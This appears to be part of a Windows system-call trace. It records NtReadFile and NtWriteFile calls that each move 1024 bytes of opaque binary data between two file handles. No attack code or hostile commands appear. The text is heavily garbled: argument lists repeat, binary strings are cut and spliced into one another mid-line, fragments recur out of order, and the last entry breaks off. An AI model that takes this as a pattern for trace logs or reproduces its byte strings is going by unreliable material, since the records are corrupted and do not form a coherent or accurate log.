]\310-\204A\3242\22~`\21>\226\356\3732\253*on\327\236,\4F\25'n=\262\232E\367\254\331~\251\225M\254(\320?\265y\2439\243\7\263*\4k\366\1\231\256\337\344\313\226F\367\252\247#35\26\233\207|\265\256\17\0\315-\275a\272\377\24\270F\3375)\16\332\11M\326\275\346\234\33\232\337/\245\2673'\24\326$o\301\360\312\310\255o\34\330\247h\343\23v4\361\128\322r8<\266K\363\251Y\34\1\310\24\23 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\256+/~{yZYC\333\335\327\3\271\250\12\252I-2\371\36\365\255:\35\311E33\12\257+\354)\205\31\360\26\257\345L1031#\324 \347\332/d\364\274\0\242\4\,=\177\235a\17\266g\315\363\304'\354\300\344\311,\361z\306\366\3252\215\3205\200\3278\201\216S\312\342Q-\20\34\27\221$(\200\245\306%\212\316V-"]\310-\204A\3242\22~`\21>\226\356\3732\253*on\327\236,\4F\25'n=\262\232E\367\254\331~\251\225M\254(\320?\265y\2439\243\7\263*\4k\366\1\231\256\337\344\313\226F\367\252\247#35\26\233\207|\265\256\17\0\315-\275a\272\377\24\270F\3375)\16\332\11M\326\275\346\234\33\232\337/\245\2673'\24\326$o\301\360\312\310\255o\34\330\247h\343\23v4\361\128\322r8<\266K\363\251Y\34\1\310\24\23"\254rN\207\372?\341\303:\22+\3356\242+K%I'\7&>D,\262\2\260'\223!3\26J%\252\313\264\214$+\255\351^\12!\315&\244!\270",\3356\334?\302\305:\3119~\300\37\343\31\341\33\337%\326'\30\325\216\330,\326(\2607S\11b*p\252\23y \307\35u\235\24\311\37p\301\3178Q\352\376\37M\0o\314\305%\6j"\350/\3aU\265\3172\25\177\214Ub\35z{\304\333#\347"s'VT\35\14\21m\2\2434#h\320\302HKIoE-K.\3407Kr\11\210679_::\177O[?zhxNmOBG#WVg'*\225**,hV_Q_VvZ5@^JVTVYS\276KHhowqG!V#%1'r\11(\35\13-\37\10.\5\203\25a\257\26\368\33\32=", ) ,\3356\334?\302\305:\3119~\300\37\343\31\341\33\337%\326'\30\325\216\330,\326(\2607S\11b*p\252\23y \307\35u\235\24\311\37p\301\3178Q\352\376\37M\0o\314\305%\6j (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\256+/~{yZYC\333\335\327\3\271\250\12\252I-2\371\36\365\255:\35\311E33\12\257+\354)\205\31\360\26\257\345L1031#\324 \347\332/d\364\274\0\242\4\,=\177\235a\17\266g\315\363\304'\354\300\344\311,\361z\306\366\3252\215\3205\200\3278\201\216S\312\342Q-\20\34\27\221$(\200\245\306%\212\316V-"]\310-\204A\3242\22~`\21>\226\356\3732\253*on\327\236,\4F\25'n=\262\232E\367\254\331~\251\225M\254(\320?\265y\2439\243\7\263*\4k\366\1\231\256\337\344\313\226F\367\252\247#35\26\233\207|\265\256\17\0\315-\275a\272\377\24\270F\3375)\16\332\11M\326\275\346\234\33\232\337/\245\2673'\24\326$o\301\360\312\310\255o\34\330\247h\343\23v4\361\128\322r8<\266K\363\251Y\34\1\310\24\23"\254rN\207\372?\341\303:\22+\3356\242+K%I'\7&>D,\262\2\260'\223!3\26J%\252\313\264\214$+\255\351^\12!\315&\244!\270",\3356\334?\302\305:\3119~\300\37\343\31\341\33\337%\326'\30\325\216\330,\326(\2607S\11b*p\252\23y \307\35u\235\24\311\37p\301\3178Q\352\376\37M\0o\314\305%\6j"\350/\3aU\265\3172\25\177\214Ub\35z{\304\333#\347"s'VT\35\14\21m\2\2434#h\320\302HKIoE-K.\3407Kr\11\210679_::\177O[?zhxNmOBG#WVg'*\225**,hV_Q_VvZ5@^JVTVYS\276KHhowqG!V#%1'r\11(\35\13-\37\10.\5\203\25a\257\26\368\33\32=", ) s'VT\35\14\21m\2\2434#h\320\302HKIoE-K.\3407Kr\11\210679_::\177O[?zhxNmOBG#WVg'*\225**,hV_Q_VvZ5@^JVTVYS\276KHhowqG!V#%1'r\11(\35\13-\37\10.\5\203\25a\257\26\368\33\32=", ) == 0x0
 01399  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\212\352s\301\2\374X\210\205\314\261\214dr\226\\213\7T\326C\256\332\340\346(s\347\306\201\242\1E\4\30\17y\356\312r\302\254\242\207\236~\372\274$\305\245\325\330\353\0\342\220l\376\15\244\327\3538?X\1\14D\363\272\13}\334\215\276\377%\232\230\@+r\344\220}\333$\2639\217\27\266\27\21>\360\17l\1\250\372`E\203\244k\5\3409\334\352"\200\30\13f\27b\265;\203&i\347/r\252\16\310\324\225\362\332<\326k\15\354\226\336\20\331\353\16yc\2318\252P\214\30\331)\364\264\215\362\0S[\24\363\300xYuP\36b\205\14\315\253\32\\360\6\241\313\356\36>\274\254D\237\364\203\360l\22\333l/h\237\324[\311\37\1\320aZ\306S\246\1~\26\2014\267\17\207~\23\235\306\241\320\35\31`B\20s\356\366e]D\346\340\16\326\215\331m\36T"\17N\17\347\377\340\317\235\243\277\376O\320\377\201\32\355\332\26\350\345h\345r\0\265\332\267#\250e\321\25X\6n\373\356\227\313\33I\23\32\4v\2123K\325\342:\230\33\220\256%n\35\301\335\3522;X\355\13\35\327\37\\210fb\\253\217\5\15GH\15qs\371\255\241\311\343U\212\321uP\352R\1dc\331\302-\246\272\246;\247^\262\4\225\350\321\355\353\237\340\2%BE\357/\322\333\341\205\331V\314\336\213\1\224\270\363\275\2;9\275\36n\225\264\271\0s>\3PG\225)\314\201\200\20CW\254\220\242E\322\363\342\236?\214\300\271A,A\205A\31\15\10P6{L\242\204\242E\375/\243\370\346;\201I\314L\24z\224\232\322\20\210\31\362\363\207\204kv\317\276\260(9}\310b\360\247Z\272f\3649E\31\365\25\321K\177\211\377<-45\250m^Y\25\367\236c,\253\324\273\21\300d", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \200\30\13f\27b\265;\203&i\347/r\252\16\310\324\225\362\332<\326k\15\354\226\336\20\331\353\16yc\2318\252P\214\30\331)\364\264\215\362\0S[\24\363\300xYuP\36b\205\14\315\253\32\\360\6\241\313\356\36>\274\254D\237\364\203\360l\22\333l/h\237\324[\311\37\1\320aZ\306S\246\1~\26\2014\267\17\207~\23\235\306\241\320\35\31`B\20s\356\366e]D\346\340\16\326\215\331m\36T (92, 0, 0, 0, "\212\352s\301\2\374X\210\205\314\261\214dr\226\\213\7T\326C\256\332\340\346(s\347\306\201\242\1E\4\30\17y\356\312r\302\254\242\207\236~\372\274$\305\245\325\330\353\0\342\220l\376\15\244\327\3538?X\1\14D\363\272\13}\334\215\276\377%\232\230\@+r\344\220}\333$\2639\217\27\266\27\21>\360\17l\1\250\372`E\203\244k\5\3409\334\352"\200\30\13f\27b\265;\203&i\347/r\252\16\310\324\225\362\332<\326k\15\354\226\336\20\331\353\16yc\2318\252P\214\30\331)\364\264\215\362\0S[\24\363\300xYuP\36b\205\14\315\253\32\\360\6\241\313\356\36>\274\254D\237\364\203\360l\22\333l/h\237\324[\311\37\1\320aZ\306S\246\1~\26\2014\267\17\207~\23\235\306\241\320\35\31`B\20s\356\366e]D\346\340\16\326\215\331m\36T"\17N\17\347\377\340\317\235\243\277\376O\320\377\201\32\355\332\26\350\345h\345r\0\265\332\267#\250e\321\25X\6n\373\356\227\313\33I\23\32\4v\2123K\325\342:\230\33\220\256%n\35\301\335\3522;X\355\13\35\327\37\\210fb\\253\217\5\15GH\15qs\371\255\241\311\343U\212\321uP\352R\1dc\331\302-\246\272\246;\247^\262\4\225\350\321\355\353\237\340\2%BE\357/\322\333\341\205\331V\314\336\213\1\224\270\363\275\2;9\275\36n\225\264\271\0s>\3PG\225)\314\201\200\20CW\254\220\242E\322\363\342\236?\214\300\271A,A\205A\31\15\10P6{L\242\204\242E\375/\243\370\346;\201I\314L\24z\224\232\322\20\210\31\362\363\207\204kv\317\276\260(9}\310b\360\247Z\272f\3649E\31\365\25\321K\177\211\377<-45\250m^Y\25\367\236c,\253\324\273\21\300d", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01400  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "2jM \231\362\207C\346 \10]\351?\35\315\261\177\177cfR\230\366\3738?j\3\210\321`:\213\300\34V\36h\201$kn]#o\14/b\327q)\12\203\330"1\20\2453\23P8*\333X\250>7O\319\2\31j\315~'\0\213\262& *t*%,.=\300:y\24423=\34@\17\224U:S\253>L\166\24\23m#\324\376$&\245U\16\27g_\4\3173u\2221\306\233\4\35)\300\5\21\267\211<=t6r4p\12F\10\13\14\326\203\27/5\32,\336\203\333\257\26!B4\20U3E\320\23\242\2228\35\236;\226R\24\32\367\366\222:/tt\316."\365k/$,(\12Z,Xq\27\3653\3R\21h+9I\2641\13\31`,\318\252\312\302&\4Vit&\302\262m+\245\342t\331\243B4]r\23\30[#k\2340\13~\272\24\342\310J\337\367\3021\251\245e?wwwpu\257\20\0\317v-3+5!7i\30q\260@\275\32\27\230\325\342-\337\0m03\4i\324\211\351\30\335\372e\335\243s10\225\13\200\314\311\310eWa\333Y\2553>\34\227\275.\237#~\252\20\344{\264\241\251\355\352\313,\322e\251\377I=3;597795;3=\3010\33\23\35\21\37/!-#+%)'')\325$,". 0>>\11&\17.\15&\3:\37\6\27\4\17!*'\36#\32c\30k\36k\34'|\23p\21L\27H\250]\10A\16M\14I\29\276\1\266\7\252\5\202&\35\243%\344\33\351\31\366\37&\377\22\311\20\315\26\300\24/X\6\330\4\306\2\3167\17\307\15?\47\6/\33$\13&\3\30\3\32\11$\35r\37r\21\270\23\264-\26\261\10", ) 1\20\2453\23P8*\333X\250>7O\319\2\31j\315~'\0\213\262& *t*%,.=\300:y\24423=\34@\17\224U:S\253>L\166\24\23m#\324\376$&\245U\16\27g_\4\3173u\2221\306\233\4\35)\300\5\21\267\211<=t6r4p\12F\10\13\14\326\203\27/5\32,\336\203\333\257\26!B4\20U3E\320\23\242\2228\35\236;\226R\24\32\367\366\222:/tt\316. (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "2jM \231\362\207C\346 \10]\351?\35\315\261\177\177cfR\230\366\3738?j\3\210\321`:\213\300\34V\36h\201$kn]#o\14/b\327q)\12\203\330"1\20\2453\23P8*\333X\250>7O\319\2\31j\315~'\0\213\262& *t*%,.=\300:y\24423=\34@\17\224U:S\253>L\166\24\23m#\324\376$&\245U\16\27g_\4\3173u\2221\306\233\4\35)\300\5\21\267\211<=t6r4p\12F\10\13\14\326\203\27/5\32,\336\203\333\257\26!B4\20U3E\320\23\242\2228\35\236;\226R\24\32\367\366\222:/tt\316."\365k/$,(\12Z,Xq\27\3653\3R\21h+9I\2641\13\31`,\318\252\312\302&\4Vit&\302\262m+\245\342t\331\243B4]r\23\30[#k\2340\13~\272\24\342\310J\337\367\3021\251\245e?wwwpu\257\20\0\317v-3+5!7i\30q\260@\275\32\27\230\325\342-\337\0m03\4i\324\211\351\30\335\372e\335\243s10\225\13\200\314\311\310eWa\333Y\2553>\34\227\275.\237#~\252\20\344{\264\241\251\355\352\313,\322e\251\377I=3;597795;3=\3010\33\23\35\21\37/!-#+%)'')\325$,". 0>>\11&\17.\15&\3:\37\6\27\4\17!*'\36#\32c\30k\36k\34'|\23p\21L\27H\250]\10A\16M\14I\29\276\1\266\7\252\5\202&\35\243%\344\33\351\31\366\37&\377\22\311\20\315\26\300\24/X\6\330\4\306\2\3167\17\307\15?\47\6/\33$\13&\3\30\3\32\11$\35r\37r\21\270\23\264-\26\261\10", ) . 0>>\11&\17.\15&\3:\37\6\27\4\17!*'\36#\32c\30k\36k\34'|\23p\21L\27H\250]\10A\16M\14I\29\276\1\266\7\252\5\202&\35\243%\344\33\351\31\366\37&\377\22\311\20\315\26\300\24/X\6\330\4\306\2\3167\17\307\15?\47\6/\33$\13&\3\30\3\32\11$\35r\37r\21\270\23\264-\26\261\10", ) == 0x0
 01401  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "1\11g\365\204]\275=E\270\30\363:0\254\367\321X\1\347z\313\250\316S\237\352\223uG@r]$\213\207\303\12\36V0\337\304\236\303\273\255\271\24\314\317 \216I\7\216\276JA\17n0\31\177\263\236\233\354\370\376q\27\32x1P\320\321\223\202\36\216\35FE\331\306\326\324Ljg\335\373\263\370\371\361\300\2z\203\237\265\306\347\327Z(\315\245\313\260\353\241\303A\356_\14\352O?\35"\237\200\17\232\32\307A\314\274\213\326\323\237\347\335G;\34~-\213\302F\206\366T\251E\216\357;\312#I\313.\324z\275\347\254\210\364\11w4\2544\22\134_\17"P\366\37\364\215\257\352'\204\366\215v+`\273bp\220K\222\331o\252\343\310$\352o\352*\304\271\275\273\271SZ\2415b\234o\332Z\20\37325L\271\250\12`\302\225\366\245\313\354\5\272q\2$(\220\204D\204\355'p\217\243'k\230\220\206\266\357\205\233\310\371\346bC\277\211\272\372c\201\207\345.\224\23\344&\342\24\203\316\372\253\306\7\7\303]\325\204)mx\13\361\254}\370\212\3467=\204\15\304\223n!\231\261/&\327\356\31\357\20\206^\350ek\15\243\356\213\34a\0\25\323\353\222&\267\342\265g\317\10\30\221F\272\232\25\206{]]\264\215\264y\345\266\13E\371\220\331\367\211\3H\4\274"/\262\311\305!\221\332\251q\22\267P)0\303\203\371:\244\365\273\242\20\301\356D-\301B>s\343\14\300\365,j^\363\256\346\10\343\16q\277\20\201M\341\5\354d#\365\213f\271}oX\371\233\36\310\321\301Xg\366\272\255\254\314\213E\230[\347\220(E\11\304\3159\363\27\177Eh\W/R\255)/PE\1\244\333\331-\37\360T\327\246e\240R\331\260\351\10_>\323U\353\206_m4`\340o", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \237\200\17\232\32\307A\314\274\213\326\323\237\347\335G;\34~-\213\302F\206\366T\251E\216\357;\312#I\313.\324z\275\347\254\210\364\11w4\2544\22\134_\17 (92, 0, 0, 0, "1\11g\365\204]\275=E\270\30\363:0\254\367\321X\1\347z\313\250\316S\237\352\223uG@r]$\213\207\303\12\36V0\337\304\236\303\273\255\271\24\314\317 \216I\7\216\276JA\17n0\31\177\263\236\233\354\370\376q\27\32x1P\320\321\223\202\36\216\35FE\331\306\326\324Ljg\335\373\263\370\371\361\300\2z\203\237\265\306\347\327Z(\315\245\313\260\353\241\303A\356_\14\352O?\35"\237\200\17\232\32\307A\314\274\213\326\323\237\347\335G;\34~-\213\302F\206\366T\251E\216\357;\312#I\313.\324z\275\347\254\210\364\11w4\2544\22\134_\17"P\366\37\364\215\257\352'\204\366\215v+`\273bp\220K\222\331o\252\343\310$\352o\352*\304\271\275\273\271SZ\2415b\234o\332Z\20\37325L\271\250\12`\302\225\366\245\313\354\5\272q\2$(\220\204D\204\355'p\217\243'k\230\220\206\266\357\205\233\310\371\346bC\277\211\272\372c\201\207\345.\224\23\344&\342\24\203\316\372\253\306\7\7\303]\325\204)mx\13\361\254}\370\212\3467=\204\15\304\223n!\231\261/&\327\356\31\357\20\206^\350ek\15\243\356\213\34a\0\25\323\353\222&\267\342\265g\317\10\30\221F\272\232\25\206{]]\264\215\264y\345\266\13E\371\220\331\367\211\3H\4\274"/\262\311\305!\221\332\251q\22\267P)0\303\203\371:\244\365\273\242\20\301\356D-\301B>s\343\14\300\365,j^\363\256\346\10\343\16q\277\20\201M\341\5\354d#\365\213f\271}oX\371\233\36\310\321\301Xg\366\272\255\254\314\213E\230[\347\220(E\11\304\3159\363\27\177Eh\W/R\255)/PE\1\244\333\331-\37\360T\327\246e\240R\331\260\351\10_>\323U\353\206_m4`\340o", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) /\262\311\305!\221\332\251q\22\267P)0\303\203\371:\244\365\273\242\20\301\356D-\301B>s\343\14\300\365,j^\363\256\346\10\343\16q\277\20\201M\341\5\354d#\365\213f\271}oX\371\233\36\310\321\301Xg\366\272\255\254\314\213E\230[\347\220(E\11\304\3159\363\27\177Eh\W/R\255)/PE\1\244\333\331-\37\360T\327\246e\240R\331\260\351\10_>\323U\353\206_m4`\340o", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01402  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "gP9;;>\275\301\351\220\323\35\366\323\236d!k%]\207u3\11-+/\314l?\320s2GZ}B!p6\2775k\35,J\20\375\36\334\23  #s'!\255\357\245\/\240\14\364\243\223\24\35"1\365\33465\313\234\261\360\277\334=_\350\270\333\2364\0\323\214\324$\364\15\336\243\350\241\334\247-\324\356\3313\301\226\277\3756\264\331:\311\237\267p>?\32Mw\36\36H0&\263$'\331\364\311D^r,+,7\260 .a^1fap\321\240T\2762J\3\273IK\225\37T\5r\250\375r\253I(W\247`L\244B\13d5\332\201t\265f\274\365\321\377:\275\16\37\300\36\34\233\337 .\247r%%$O\275(*j\365&//1\262\36630\274r\23(\12\327\0>\370\376\273W\234\27\223TdK\12&D`\3064\37\22\357$\250\30\277N1e\26\3Tr\32eI\17\260s\254=z\246\33\u\216\256%,\242\31\250E%\207\203}\240o\10\215v\245|\25n3\33\1\3067\222Yz\12\11\374=x\11\377\354hW2\302\22\11\203\232\278-\236\33\321\224\232\37\271JRD\374\304-\215\6\330( \204\15\215\172\310y\235\255.\365\226\224\22\371\326#\223\31\227W\31)\222\37P+>2\215\5\24\325 \203\206\25\372\333?no0\333\226n\321p\311\270\300 \365&\7+\253+\12\3a\12\7\275%-b\344ge\337\6,>#\7);d3\4\21\37/!-#+%\14:x9&+z\246Z\13":\274,\263s?\14NO\340f4\243\357&", ) 1\365\33465\313\234\261\360\277\334=_\350\270\333\2364\0\323\214\324$\364\15\336\243\350\241\334\247-\324\356\3313\301\226\277\3756\264\331:\311\237\267p>?\32Mw\36\36H0&\263$'\331\364\311D^r,+,7\260 .a^1fap\321\240T\2762J\3\273IK\225\37T\5r\250\375r\253I(W\247`L\244B\13d5\332\201t\265f\274\365\321\377:\275\16\37\300\36\34\233\337 .\247r%%$O\275(*j\365&//1\262\36630\274r\23(\12\327\0>\370\376\273W\234\27\223TdK\12&D`\3064\37\22\357$\250\30\277N1e\26\3Tr\32eI\17\260s\254=z\246\33\u\216\256%,\242\31\250E%\207\203}\240o\10\215v\245|\25n3\33\1\3067\222Yz\12\11\374=x\11\377\354hW2\302\22\11\203\232\278-\236\33\321\224\232\37\271JRD\374\304-\215\6\330( \204\15\215\172\310y\235\255.\365\226\224\22\371\326#\223\31\227W\31)\222\37P+>2\215\5\24\325 \203\206\25\372\333?no0\333\226n\321p\311\270\300 \365&\7+\253+\12\3a\12\7\275%-b\344ge\337\6,>#\7);d3\4\21\37/!-#+%\14:x9&+z\246Z\1311\300\224\276\317C7\354\261\257\30\25\276%\230\325=\341\224\332\22\342\243Y\327\210g\337\370c\252\325\255.6F94\273\266\2645\274\244\35 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "gP9;;>\275\301\351\220\323\35\366\323\236d!k%]\207u3\11-+/\314l?\320s2GZ}B!p6\2775k\35,J\20\375\36\334\23  #s'!\255\357\245\/\240\14\364\243\223\24\35"1\365\33465\313\234\261\360\277\334=_\350\270\333\2364\0\323\214\324$\364\15\336\243\350\241\334\247-\324\356\3313\301\226\277\3756\264\331:\311\237\267p>?\32Mw\36\36H0&\263$'\331\364\311D^r,+,7\260 .a^1fap\321\240T\2762J\3\273IK\225\37T\5r\250\375r\253I(W\247`L\244B\13d5\332\201t\265f\274\365\321\377:\275\16\37\300\36\34\233\337 .\247r%%$O\275(*j\365&//1\262\36630\274r\23(\12\327\0>\370\376\273W\234\27\223TdK\12&D`\3064\37\22\357$\250\30\277N1e\26\3Tr\32eI\17\260s\254=z\246\33\u\216\256%,\242\31\250E%\207\203}\240o\10\215v\245|\25n3\33\1\3067\222Yz\12\11\374=x\11\377\354hW2\302\22\11\203\232\278-\236\33\321\224\232\37\271JRD\374\304-\215\6\330( \204\15\215\172\310y\235\255.\365\226\224\22\371\326#\223\31\227W\31)\222\37P+>2\215\5\24\325 \203\206\25\372\333?no0\333\226n\321p\311\270\300 \365&\7+\253+\12\3a\12\7\275%-b\344ge\337\6,>#\7);d3\4\21\37/!-#+%\14:x9&+z\246Z\13":\274,\263s?\14NO\340f4\243\357&", ) , ) == 0x0
 01403  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\11H\336n \276\227\255H*\354\375\236K\1\224\323<\321\372\307z\261.MjqA\351\376g\303o(\231C\277\346\235&\241\210\3558\264*\370\235-;X\223\336\230\222%d*{\13=8\275\331\243\36ED.K \274\22\336\276\374~\233}\15\33:m\362/u\140\345\305\227\36\252\303\2066/\227\217\31\342\177\204\353hM\26\201\5\377&\256,\221d\5I!\225\275\365\231\274/1\254b\1\347\342\275*\354\251\343"\374\317\210\225\337!`(\353a\304/\307\24\202\325\2114Yz+EK\24\355\240\221B?\210\301\35\277\273\3315\373\317`G4\356\207\373\305\247"\222\20\1+\340"\231 Ut\365\332\337\3\316HO\247`\3774v\273\11\250\230X\342.[\345\221\362\320\6\244\323hb\370\346amz}\2676\367\230\34iZ\337\204\327\270\330\33\230\356m\230 \241&\327u\342\12\220\321\243"\353\250k#V\240Y\11`\205\360\247\34\273\240\6\234\354\270\345C\264\24$\10\177\244R\12^0O+\306Jc\25^\220\242\211\177\31&\35\304\357\212!\267\17\204F]\36\313i\345\15\16\207\223\232\277oE\26\243\203\303\240xC\301\363;\241\22$\230%Y:d\323\11A]\244$\257\372Il\33#\234\217\241\325T\21_\206\2\236]\332\24\347\270\354\252Gf\255\27\241t6\370b\5\253\310\260\1\214\322}\272\301\345\372\205\346x\317%;\210\335\371(Xy\354\334\304\340X\250\373\215*\213/]?\302\253'\340\243\363C\10\272"}\302\10n\6\352\346\0\266-\374.\245\274\241\275\3558\230\217\335\301\220\207\257f\304\246]\200\213[g<3 A=\266\345\335k\214%\177\326\323\300#\312\312u\317\360\356\273\263\244\240\355Z\276\212\300\336\277\232\10\321\3454\211z\200", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \374\317\210\225\337!`(\353a\304/\307\24\202\325\2114Yz+EK\24\355\240\221B?\210\301\35\277\273\3315\373\317`G4\356\207\373\305\247 (92, 0, 0, 0, "\11H\336n \276\227\255H*\354\375\236K\1\224\323<\321\372\307z\261.MjqA\351\376g\303o(\231C\277\346\235&\241\210\3558\264*\370\235-;X\223\336\230\222%d*{\13=8\275\331\243\36ED.K \274\22\336\276\374~\233}\15\33:m\362/u\140\345\305\227\36\252\303\2066/\227\217\31\342\177\204\353hM\26\201\5\377&\256,\221d\5I!\225\275\365\231\274/1\254b\1\347\342\275*\354\251\343"\374\317\210\225\337!`(\353a\304/\307\24\202\325\2114Yz+EK\24\355\240\221B?\210\301\35\277\273\3315\373\317`G4\356\207\373\305\247"\222\20\1+\340"\231 Ut\365\332\337\3\316HO\247`\3774v\273\11\250\230X\342.[\345\221\362\320\6\244\323hb\370\346amz}\2676\367\230\34iZ\337\204\327\270\330\33\230\356m\230 \241&\327u\342\12\220\321\243"\353\250k#V\240Y\11`\205\360\247\34\273\240\6\234\354\270\345C\264\24$\10\177\244R\12^0O+\306Jc\25^\220\242\211\177\31&\35\304\357\212!\267\17\204F]\36\313i\345\15\16\207\223\232\277oE\26\243\203\303\240xC\301\363;\241\22$\230%Y:d\323\11A]\244$\257\372Il\33#\234\217\241\325T\21_\206\2\236]\332\24\347\270\354\252Gf\255\27\241t6\370b\5\253\310\260\1\214\322}\272\301\345\372\205\346x\317%;\210\335\371(Xy\354\334\304\340X\250\373\215*\213/]?\302\253'\340\243\363C\10\272"}\302\10n\6\352\346\0\266-\374.\245\274\241\275\3558\230\217\335\301\220\207\257f\304\246]\200\213[g<3 A=\266\345\335k\214%\177\326\323\300#\312\312u\317\360\356\273\263\244\240\355Z\276\212\300\336\277\232\10\321\3454\211z\200", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \231 Ut\365\332\337\3\316HO\247`\3774v\273\11\250\230X\342.[\345\221\362\320\6\244\323hb\370\346amz}\2676\367\230\34iZ\337\204\327\270\330\33\230\356m\230 \241&\327u\342\12\220\321\243 (92, 0, 0, 0, "\11H\336n \276\227\255H*\354\375\236K\1\224\323<\321\372\307z\261.MjqA\351\376g\303o(\231C\277\346\235&\241\210\3558\264*\370\235-;X\223\336\230\222%d*{\13=8\275\331\243\36ED.K \274\22\336\276\374~\233}\15\33:m\362/u\140\345\305\227\36\252\303\2066/\227\217\31\342\177\204\353hM\26\201\5\377&\256,\221d\5I!\225\275\365\231\274/1\254b\1\347\342\275*\354\251\343"\374\317\210\225\337!`(\353a\304/\307\24\202\325\2114Yz+EK\24\355\240\221B?\210\301\35\277\273\3315\373\317`G4\356\207\373\305\247"\222\20\1+\340"\231 Ut\365\332\337\3\316HO\247`\3774v\273\11\250\230X\342.[\345\221\362\320\6\244\323hb\370\346amz}\2676\367\230\34iZ\337\204\327\270\330\33\230\356m\230 \241&\327u\342\12\220\321\243"\353\250k#V\240Y\11`\205\360\247\34\273\240\6\234\354\270\345C\264\24$\10\177\244R\12^0O+\306Jc\25^\220\242\211\177\31&\35\304\357\212!\267\17\204F]\36\313i\345\15\16\207\223\232\277oE\26\243\203\303\240xC\301\363;\241\22$\230%Y:d\323\11A]\244$\257\372Il\33#\234\217\241\325T\21_\206\2\236]\332\24\347\270\354\252Gf\255\27\241t6\370b\5\253\310\260\1\214\322}\272\301\345\372\205\346x\317%;\210\335\371(Xy\354\334\304\340X\250\373\215*\213/]?\302\253'\340\243\363C\10\272"}\302\10n\6\352\346\0\266-\374.\245\274\241\275\3558\230\217\335\301\220\207\257f\304\246]\200\213[g<3 A=\266\345\335k\214%\177\326\323\300#\312\312u\317\360\356\273\263\244\240\355Z\276\212\300\336\277\232\10\321\3454\211z\200", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) }\302\10n\6\352\346\0\266-\374.\245\274\241\275\3558\230\217\335\301\220\207\257f\304\246]\200\213[g<3 A=\266\345\335k\214%\177\326\323\300#\312\312u\317\360\356\273\263\244\240\355Z\276\212\300\336\277\232\10\321\3454\211z\200", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01404  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+mg\240MtF\272&\335\266s6\22\320B~=\265\1\326v\\34\246_2\2403u\1\2507& g-#o*&\27\2456:\365=\27650\334\215+4y'O_\31\14\367\34\205'\4\253\315\335G\377h)G\3525\316_/\320\23\334B4\325\24\316kH:\333\369\251\250\30\364\210\35/\371a#&\34e&\266+j[+\274.\230aA1\2420mD6\247;]\2578\205}\32\177\346\311\24\337\36\241!\272\246$\244/u@\321CwjCy\00)pu\264\23qqt\270\4S\340x\1770JU[+\224\274bdw\4\1Zu@\351\353,\241f~F\330\234\3643\241\2764\242\273\2603\2565\367e{O8\1\32\204i\3419"\264pd&\244k+\243n,\252m1\261\7q5It6@\272\37;J\302\33\225o\336\37n]!M`"Lg'\215Lk+Kn,rm1ip2\236at6h{;w~\341'\205\3\16{\240D\13u\17"\13X,\20?F\37s-0f>fg\108\264e\30J\341#5\25\222,\204,\266'y9\27)\235='ZD\274Bld1f7)\370K?\373y\32#\32\235`\16%\216\33"\305\36h\35\252\23\370\21+\364\26\360\24\13\15\321\174U\13P\5\211\4\214\2?\224o\12\274\35\34/ ""y\24\346\26\275\31\272\30+\356\37\35\33Q\5U\64f\17E\1A\3\264\5=\246\6\337!\337\26\212 >(c!\5\246\33\255\351m4\210"\272m%\331\36s<\277t6x\275\372O5\373\271\377&\35Y\365\30\301!&\256r$\5u\214\301\267\313\201\247\250.\23\2663\20\206\2736\24\260\266\372\31\234V", ) \264pd&\244k+\243n,\252m1\261\7q5It6@\272\37;J\302\33\225o\336\37n]!M` (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+mg\240MtF\272&\335\266s6\22\320B~=\265\1\326v\\34\246_2\2403u\1\2507& g-#o*&\27\2456:\365=\27650\334\215+4y'O_\31\14\367\34\205'\4\253\315\335G\377h)G\3525\316_/\320\23\334B4\325\24\316kH:\333\369\251\250\30\364\210\35/\371a#&\34e&\266+j[+\274.\230aA1\2420mD6\247;]\2578\205}\32\177\346\311\24\337\36\241!\272\246$\244/u@\321CwjCy\00)pu\264\23qqt\270\4S\340x\1770JU[+\224\274bdw\4\1Zu@\351\353,\241f~F\330\234\3643\241\2764\242\273\2603\2565\367e{O8\1\32\204i\3419"\264pd&\244k+\243n,\252m1\261\7q5It6@\272\37;J\302\33\225o\336\37n]!M`"Lg'\215Lk+Kn,rm1ip2\236at6h{;w~\341'\205\3\16{\240D\13u\17"\13X,\20?F\37s-0f>fg\108\264e\30J\341#5\25\222,\204,\266'y9\27)\235='ZD\274Bld1f7)\370K?\373y\32#\32\235`\16%\216\33"\305\36h\35\252\23\370\21+\364\26\360\24\13\15\321\174U\13P\5\211\4\214\2?\224o\12\274\35\34/ ""y\24\346\26\275\31\272\30+\356\37\35\33Q\5U\64f\17E\1A\3\264\5=\246\6\337!\337\26\212 >(c!\5\246\33\255\351m4\210"\272m%\331\36s<\277t6x\275\372O5\373\271\377&\35Y\365\30\301!&\256r$\5u\214\301\267\313\201\247\250.\23\2663\20\206\2736\24\260\266\372\31\234V", ) \341'\205\3\16{\240D\13u\17 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 